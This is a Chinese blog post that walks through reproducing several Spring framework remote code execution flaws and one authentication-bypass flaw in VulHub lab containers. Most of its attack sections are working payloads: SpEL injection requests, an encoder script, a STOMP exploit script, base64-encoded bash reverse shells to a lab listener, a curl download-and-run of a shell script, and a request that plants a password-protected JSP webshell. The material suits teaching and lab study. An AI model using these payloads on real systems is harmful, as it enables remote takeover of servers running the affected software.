Spring历史漏洞

CVE-2016-4977

Spring Security OAuth2 远程命令执行漏洞

环境搭建

使用VulHub搭建漏洞环境,进入/spring/CVE-2016-4977目录,下发以下命令启动环境

sudo service docker start //若没启动docker先启动服务
docker-compose up -d

访问 http://ip:8080/,如图所示环境搭建成功

漏洞复现

漏洞成因:

Spring Security OAuth2处理认证请求的时候如果使用了whitelabel视图,response_type参数值会被当做Spring SpEL来执行,恶意攻击者通过构造response_type值可以触发远程代码执行漏洞

影响版本:

Spring Security OAuth 2.3到2.3.2
Spring Security OAuth 2.2到2.2.1
Spring Security OAuth 2.1到2.1.1
Spring Security OAuth 2.0到2.0.14

访问以下链接,账号密码admin/admin

http://127.0.0.1:8080/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test

可以看到,Spring SpEL表达式得到执行

一句话反弹shell,我的攻击机IP为172.31.159.186,实际就是漏洞环境IP,但这里不能用127.0.0.1

bash -i >& /dev/tcp/172.31.159.186/1111 0>&1

进行base64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzEuMTU5LjE4Ni8xMTExIDA+JjE=

base64编码之后的反弹shell脚本

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzEuMTU5LjE4Ni8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}

CVE-2016-目录下有个poc.py,内容如下:

#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}

使用python3运行,并将上述代码传入

构造完整POC,也就是将验证URL字段中的response_type替换为上述生成的代码

http://127.0.0.1:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(85)).concat(T(java.lang.Character).toString(53)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(61)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test

监听1111端口,浏览器访问url,反弹了shell

CVE-2017-4971

环境搭建

如上。成功如图

漏洞复现

漏洞成因:

Spring Web Flow建立在Spring MVC之上,并允许实现Web应用程序的“流” 由于没有明确指定相关 model 的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞

影响版本:

Spring Web Flow 2.4.0 – 2.4.4

点击login,使用左侧的账号密码登录

点击Find Hotles,再点击view Hotels,随便进入一个酒店

点击Book Hotel,输入合法字符,Credit Card位数为16位。

点击confirm,抓包

替换Payload,监听相应端口。

_eventId_confirm=&_csrf=c3f48303-fa5c-4c74-a83f-3f7867b2e495&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/172.31.159.186/1111 0>%261")).start()=vulhub

成功反弹shell

CVE-2017-8046

环境搭建

如上。成功如图

漏洞成因

Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码

影响版本

Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3

漏洞复现

访问http://127.0.0.1:8080/customers/1,抓包。

反弹shell命令

bash -i >& /dev/tcp/172.31.159.186/1111 0>&1
//base64编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzEuMTU5LjE4Ni8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}

使用以下Python脚本将Poc转为十进制

payload = b'touch /tmp/success'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

最终Payload为

PATCH /customers/1 HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ “op”: “replace”, “path”: “T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,78,122,73,117,77,122,69,117,77,84,85,53,76,106,69,52,78,105,56,120,77,84,69,120,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname”, “value”: “vulhub” }]

成功反弹shell

CVE-2018-1270

Spring-Messaging远程代码执行漏洞

环境搭建

如上,成功如图

漏洞成因

Spring框架中的 spring-messaging 模块提供了一种基于WebSocket的STOMP协议实现,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,攻击者可以通过构造恶意的消息来实现远程代码执行。

影响版本

Spring Framework 5.0 to 5.0.4
Spring Framework 4.3 to 4.3.14

漏洞复现

在/spring/CVE-2018-1270目录下有个exploit.py文件,修改靶机ip、监听机ip、port

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json
 
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
 
def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))
 
 
class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time()*1000)
 
    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)
     
    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']
 
        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
         
        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])
 
        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")
 
    def __del__(self):
        self.session.close()
 
 
sockjs = SockJS('http://172.31.159.186:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
 
sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/172.31.159.186/1111;cat <&5 | while read line; do $line 2>&5 >&5; done"})',
    'id': 'sub-0',
    'destination': '/topic/greetings'
})
 
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

攻击机监听端口,并执行poc

反弹shell成功

CVE-2018-1273

Spring Data Commons 远程命令执行

环境搭建

如上,成功如图

漏洞成因:

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

影响版本

Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 – 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 – 3.0.5 (Kay SR5)

漏洞复现

在注册页面填充数据抓包,替换post数据为payload数据

POST /users?page=&size=5 HTTP/1.1
Host: 172.31.159.186:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Origin: http://172.31.159.186:8080
Connection: close
Referer: http://172.31.159.186:8080/users/
Upgrade-Insecure-Requests: 1

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("命令")]=&password=&repeatedPassword=

直接填入反弹shell命令发送数据包,返回200,失败了

在VPS创建一个shell.txt文件,填入反弹shell命令

bash -i >& /dev/tcp/172.31.159.186/1111 0>&1

将POST数据包中执行的命令换为

exec("curl -o /tmp/bash.sh http://172.31.144.1:91/shell.txt")
POST /users?page=&size=5 HTTP/1.1
Host: 172.31.159.186:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 159
Origin: http://172.31.159.186:8080
Connection: close
Referer: http://172.31.159.186:8080/users/
Upgrade-Insecure-Requests: 1

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl -o /tmp/bash.sh http://172.31.144.1:91/shell.txt")]=&password=&repeatedPassword=

再执行bash.sh

exec("bash /tmp/bash.sh")
POST /users?page=&size=5 HTTP/1.1
Host: 172.31.159.186:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 123
Origin: http://172.31.159.186:8080
Connection: close
Referer: http://172.31.159.186:8080/users/
Upgrade-Insecure-Requests: 1

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash /tmp/bash.sh")]=&password=&repeatedPassword=

反弹shell成功

CVE-2022-22947

Spring Cloud Gateway Actuator API SpEL表达式注入命令执行漏洞

环境搭建

使用VulHub搭建漏洞环境,进入/spring/CVE-2022-22947目录,下发以下命令启动环境

sudo service docker start //若没启动docker先启动服务
docker-compose up -d

访问 http://ip:8080/,如图所示环境搭建成功

漏洞复现

在接口/actuator/gateway/routes添加一个包含恶意SpEL表达式的路由

如果响应包显示Unsupported Media Type,改下请求头Content-Type: application/json

POST /actuator/gateway/routes/hanjiefang HTTP/1.1
Host: 172.31.159.186
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 334

{
  "id": "hanjiefang",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"}
  }],
"uri": "http://example.com",
"order": 0
}

刷新网关

POST /actuator/gateway/refresh HTTP/1.1
Host: 172.31.159.186
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 0

触发漏洞

GET /actuator/gateway/routes/hanjiefang HTTP/1.1
Host: 172.31.159.186
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

CVE-2022-22963

环境搭建

如上,成功如图。

漏洞成因:

由于Spring CloudFunction中RoutingFunction类的apply方法将请求头中的”spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,当使用路由功能时,攻击者可利用该漏洞远程执行任意代码。

影响版本:

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

漏洞复现

访问/functionRouter,抓包并改为POST包,添加Payload,

POST /functionRouter HTTP/1.1
Host: 172.31.159.186:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzEuMTU5LjE4Ni8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}")
Content-Type: text/plain
Content-Length: 4

Test

发送请求

反弹shell

CVE-2022-22965

环境搭建

如上,成功如图

漏洞成因:

引入了class.module.classLoader,导致了CVE-2010-1622漏洞补丁的绕过,JDK9中存在可以绕过黑名单禁用的类,导致了这个漏洞。

影响版本:

Spring Framework 5.3.X < 5.3.18
Spring Framework 5.2.X < 5.2.20

漏洞复现

抓包,替换为Payload

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22fuck%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 172.31.159.186:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
suffix: %>//
c1: Runtime
c2: <%
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=67E05991F748237F3F622203A0965855
Upgrade-Insecure-Requests: 1

发送请求

进入容器内部,查看是否生成了fuck.jsp

访问木马:

http://172.31.159.186:8080//fuck.jsp?pwd=fuck&cmd=whoami

CVE-2022-22978

Spring-security 认证绕过漏洞

环境搭建

如上,成功如图:

漏洞成因:

在Spring Security 版本5.5.7之前、5.6.4 之前以及不受支持的旧版本中,使用正则表达式中包含”. “的RegexRequestMatcher的应用程序容易导致绕过,可利用此漏洞在未授权的情况下绕过身份认证,导致配置的权限验证失效。

影响版本:

Spring Security 5.5.x < 5.5.7
Spring Security 5.6.x < 5.6.4

以及其它不受支持的旧版本。

漏洞复现

漏洞产生的原因是由于正则发生了问题,可以通过在 URL 中加入换行符( rn )来绕过。(\r的url编码为%0d,\n的url编码为%0a)

不进行拼接时访问admin页面:

http://172.31.159.186:8080/admin/index

进行拼接时访问admin页面:

http://172.31.159.186:8080/admin/index%0a

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇